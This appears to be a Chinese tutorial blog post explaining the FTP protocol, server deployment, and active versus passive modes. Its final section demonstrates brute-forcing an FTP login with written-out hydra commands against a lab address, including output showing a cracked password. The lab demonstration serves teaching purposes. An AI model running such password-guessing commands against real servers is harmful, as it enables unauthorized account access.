当前位置: 首页 > news >正文

应用层协议-FTP协议

应用层协议-FTP协议

1.概述

文件传输协议(File Transfer Protocol,FTP)是一种在网络中进行文件传输的广泛使用的标准协议。作为网络通信中的基础工具,FTP允许用户通过客户端软件与服务器进行交互,实现文件的上传、下载和其他文件操作。

FTP默认使用TCP/21端口

2.部署FTP服务器

image-20241101100923502

image-20241101101008311

image-20241101101232133

image-20241101101252428

image-20241101101342618

image-20241101101416337

客户端访问

打开文件资源管理器或任意一个文件夹都行,输入ftp://ftp服务器IP地址/

3 交互机制

image-20241101105310776

4 被动模式

image-20241101105504440

image-20241101105800463

注意:被动模式说的是服务器,客户端开始与服务器协商被动模式,服务器把自己的IP和新的端口告诉客户端,客户端重新发起新的连接服务器新端口,服务器是被动等待客户端连接,连接成功后传输文件消息

5 主动模式

image-20241101110015250

image-20241101110043193

image-20241101110056916

image-20241101110532514

image-20241101110622072

注意:客户端协商被动模式,被服务器拒绝掉,客户端把自己的IP和端口告诉服务器,服务器使用自己的20端口主动连接客户端,连接成功后主动把文件夹列表发送给客户端

6 FTP暴力破解

1.FTP文件服务器登录是没有错误密码次数限制
2.没有验证码这种机制
暴力破解:一个一个使用密码去试hydra -l zhangsan -p p-0p-0p-0 ftp://192.168.184.128
hydra -L '/home/kali/桌面/username.txt' -P '/home/kali/桌面/password.txt' ftp://192.168.184.128Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-01 12:05:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 56 login tries (l:8/p:7), ~4 tries per task
[DATA] attacking ftp://192.168.184.128:21/
[21][ftp] host: 192.168.184.128   login: zhangsan   password: p-0p-0p-0        表示暴力破解成功,账户:zhangsan,密码:p-0p-0p-0
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-11-01 12:05:52

http://www.mrgr.cn/news/66037.html

相关文章:

  • 电商邮件营销策略:提升邮件转化率的关键!
  • 宁德时代Java面试题及参考答案
  • 应用层内网代理
  • 【真题笔记】16年系统架构设计师要点总结
  • 人工智能理论之Opencv图像预处理(2)
  • 【JAVA毕业设计】基于Vue和SpringBoot的服装商城系统
  • 手机号加密脱敏还原方案
  • 铠侠CD8系列产品对比 KCD81PUG3T20 KCD81PJE3T20 KCD81VUG3T20
  • 数据库范式设计
  • Stable Diffusion(2024)Ai绘画AIGC最新安装包资源下载+自学教程
  • w020基于Java的免税商品优选购物商城设计与实现
  • 103 - Lecture 2 Table and Data Part 1
  • 瑞芯微RK3568开发板Linux编译报错404怎么办?触觉智能教你轻松解决
  • 利士策分享,青年暴富难守,因何在?
  • Visitor 访问者模式
  • 【喂饭级AI教程】手把手教你在本机安装Stable Diffusion秋包【附带全套资源】
  • uniapp中echarts的正确集成方式:Vue2与Vue3组合式API双重视角
  • Java 序列化:深入探索 Serializable 接口
  • SpringBoot在线教育系统:安全与维护
  • Rust数据NoSQL 数据库的使用